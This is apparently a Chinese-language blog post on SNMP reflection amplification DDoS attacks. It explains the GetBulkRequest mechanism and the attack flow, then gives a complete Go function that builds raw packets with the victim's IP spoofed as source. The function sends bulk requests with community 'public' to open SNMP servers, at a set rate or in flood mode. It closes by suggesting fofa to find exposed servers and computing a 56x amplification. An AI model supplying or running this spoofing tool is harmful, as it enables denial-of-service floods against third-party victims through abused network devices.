简介
SNMP 是一种用于管理网络设备的协议,它允许管理员监控和配置网络设备。SNMP 反射放大攻击利用了 SNMP 协议的特性,通过伪造源 IP 地址向大量的 SNMP 代理(如路由器、交换机等)发送请求,然后这些代理会将响应发送给伪造的源 IP 地址,从而达到攻击目标的效果。
原理
SNMP 反射放大攻击的核心在于利用 SNMP 协议的 GetBulkRequest
命令。该命令允许一次性获取大量数据,攻击者可以利用这一点,发送一个小的请求,但接收到大量的响应,从而实现流量放大。
snmp常用命令
- snmpget
- 通过get-request获取oid实例对象数据
- snmpwalk
- 通过get-next-request循环获取oid树中实例对象值
- snmpbulkget
- 通过GetBulkRequst一次性批量获取oid树中实例对象数据
- snmpbulkwalk
- 通过GetBulkRequst一次性批量获取oid实例对象数据
- 作用和用法与snmpwalk类似,但效率更高
SNMP的版本
SNMP有三个主要版本:
- SNMPv1:最初版本,提供基本的网络管理功能,但安全性较差。
- SNMPv2:增强了SNMPv1的功能,增加了更多的操作类型和数据类型,提供了更丰富的错误代码。
- SNMPv3:主要在安全性方面进行了增强,采用了基于用户的安全控制模型(USM)和基于视图的访问控制模型(VACM),提供了认证和加密功能
攻击流程:
- 攻击者伪造源 IP 地址: 攻击者将源 IP 地址伪造成受害者的 IP 地址。
- 发送 GetBulkRequest 请求: 攻击者向大量的 SNMP 代理发送
GetBulkRequest
请求,请求大量的数据。 - SNMP 代理响应: SNMP 代理接收到请求后,将大量的数据响应发送给伪造的源 IP 地址(即受害者)。
- 流量放大: 由于响应数据远大于请求数据,因此实现了流量放大,对受害者造成 DDoS 攻击。
golang请求
- 自构报文才能伪造源IP,即不能直接使用gosnmp库进行请求
- 版本为v2c,团体用public,用常见的去利用开放的SNMP服务器
- 注意请求报文SNMP负载需要ASN.1编码
// SendSnmpReflectAttack 发送snmp 反射攻击
func SendSnmpReflectAttack(Cfg *cfg.Config) {
snmpOid := Cfg.Snmp.Oid
snmpCommunity := Cfg.Snmp.Community
snmpIntf := Cfg.Base.Interface
snmpCount := Cfg.Base.Count
snmpRate := Cfg.Base.Rate
snmpFlood := Cfg.Base.Flood
snmpTarget := Cfg.Base.Target
snmpRdst := Cfg.Snmp.ReflectTarget
if snmpFlood {
fmt.Println("snmpInterface:", snmpIntf, "snmpTarget:", snmpRdst, " snmpFlood:", snmpFlood, "snmpCount:", snmpCount, "snmpServer:", snmpTarget)
} else {
fmt.Println("snmpInterface:", snmpIntf, "snmpTarget:", snmpRdst, " snmpRate:", snmpRate, " snmpCount:", snmpCount, "snmpServer:", snmpTarget)
}
dataSize := Cfg.Base.DataSize
dataFile := Cfg.Base.DataFile
ipType := IpVersionTypeGet(Cfg.Base.Target)
// 打开网络设备
handle, err := pcap.OpenLive(snmpIntf, 2048, false, 5*time.Second)
if err != nil {
fmt.Println("interface:", snmpIntf, " open pcap failed,err:", err)
return
}
defer handle.Close()
// 速率控制
ticker := time.NewTicker(time.Second / time.Duration(snmpRate))
defer ticker.Stop()
// 以太层/IP层
var ipv4 *layers.IPv4
var ipv6 *layers.IPv6
eth := GetEthLayer(Cfg)
if ipType == IP_ADDR_IPV4 {
ipv4 = GetIpv4Layer(Cfg)
ipv4.Protocol = layers.IPProtocolUDP
} else {
ipv6 = GetIpv6Layer(Cfg)
ipv6.NextHeader = layers.IPProtocolUDP
}
for i := uint64(0); i < snmpCount || snmpCount == 0; i++ {
// 等待下一个发包时间点
if !snmpFlood {
<-ticker.C
}
// 构建UDP包
var srcPort, dstPort uint16
srcPort = uint16(rand.Intn(65535))
dstPort = 161
udp := &layers.UDP{
SrcPort: layers.UDPPort(srcPort),
DstPort: layers.UDPPort(dstPort),
}
// 构建SNMP请求包
type SNMPMessage struct {
Version int
Community []byte
PDU asn1.RawValue
}
type VariableBinding struct {
ObjectIdentifier asn1.ObjectIdentifier
Value asn1.RawValue
}
version := 1 // SNMPv2c
community := snmpCommunity
requestID := 12345
oids := make([]asn1.ObjectIdentifier, len(snmpOid))
for i, str := range snmpOid {
oid, err := stringToOID(str)
if err != nil {
fmt.Println("parse oid fail.", err)
return
}
oids[i] = oid
}
// 构造变量绑定列表
var varBindings []VariableBinding
for _, oid := range oids {
nullValue := asn1.RawValue{
Tag: 0x05,
Class: asn1.ClassUniversal,
IsCompound: false,
Bytes: []byte{},
}
varBindings = append(varBindings, VariableBinding{
ObjectIdentifier: oid,
Value: nullValue,
})
}
// 构造 BulkPDU 的字节流
requestIDBytes, _ := asn1.Marshal(requestID)
nonRepeatersBytes, _ := asn1.Marshal(0)
maxRepetitionsBytes, _ := asn1.Marshal(255)
varBindingsBytes, _ := asn1.Marshal(varBindings)
pduBytes := append(requestIDBytes, nonRepeatersBytes...)
pduBytes = append(pduBytes, maxRepetitionsBytes...)
pduBytes = append(pduBytes, varBindingsBytes...)
// 构造完整 SNMP 消息
plen := len(pduBytes)
plenByte := byte(plen)
msg := SNMPMessage{
Version: version,
Community: []byte(community),
PDU: asn1.RawValue{
FullBytes: append([]byte{0xA5}, plenByte), // 0xA5 是 GetBulkRequest 的标签
},
}
msg.PDU.FullBytes = append(msg.PDU.FullBytes, pduBytes...)
// 编码完整报文
msgBytes, err := asn1.Marshal(msg)
if err != nil {
log.Fatal(err)
}
var snmp []byte = msgBytes
var layerObs []gopacket.SerializableLayer
layerObs = append(layerObs, eth)
if ipType == IP_ADDR_IPV4 {
layerObs = append(layerObs, ipv4)
// 将目标IP伪造为源IP,向CHARGEN服务器发送请求
ipv4.SrcIP = net.ParseIP(snmpRdst)
ipv4.DstIP = net.ParseIP(snmpTarget)
udp.SetNetworkLayerForChecksum(ipv4)
} else {
layerObs = append(layerObs, ipv6)
ipv6.SrcIP = net.ParseIP(snmpRdst)
ipv6.DstIP = net.ParseIP(snmpTarget)
udp.SetNetworkLayerForChecksum(ipv6)
}
layerObs = append(layerObs, udp)
// 添加负载
payload := GetPayload(dataFile, dataSize)
if len(payload) > 0 {
layerObs = append(layerObs, gopacket.Payload(payload))
} else {
layerObs = append(layerObs, gopacket.Payload([]byte(snmp)))
}
// 序列化
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
ComputeChecksums: true,
FixLengths: true,
}
if err := gopacket.SerializeLayers(buf, opts, layerObs...); err != nil {
fmt.Println("serialize layers failed,err:", err)
continue
}
// 发送
err = handle.WritePacketData(buf.Bytes())
if err != nil {
fmt.Println("send packet data failed,err:", err)
}
}
}
分析
- 利用fofa等查询SNMP服务
- SNMP getBulkRequest 请求报文
- SNMP 反射放大响应报文
- 放大倍数计算
响应UDP负载长度2469 / 请求UDP负载长度44 =
56 倍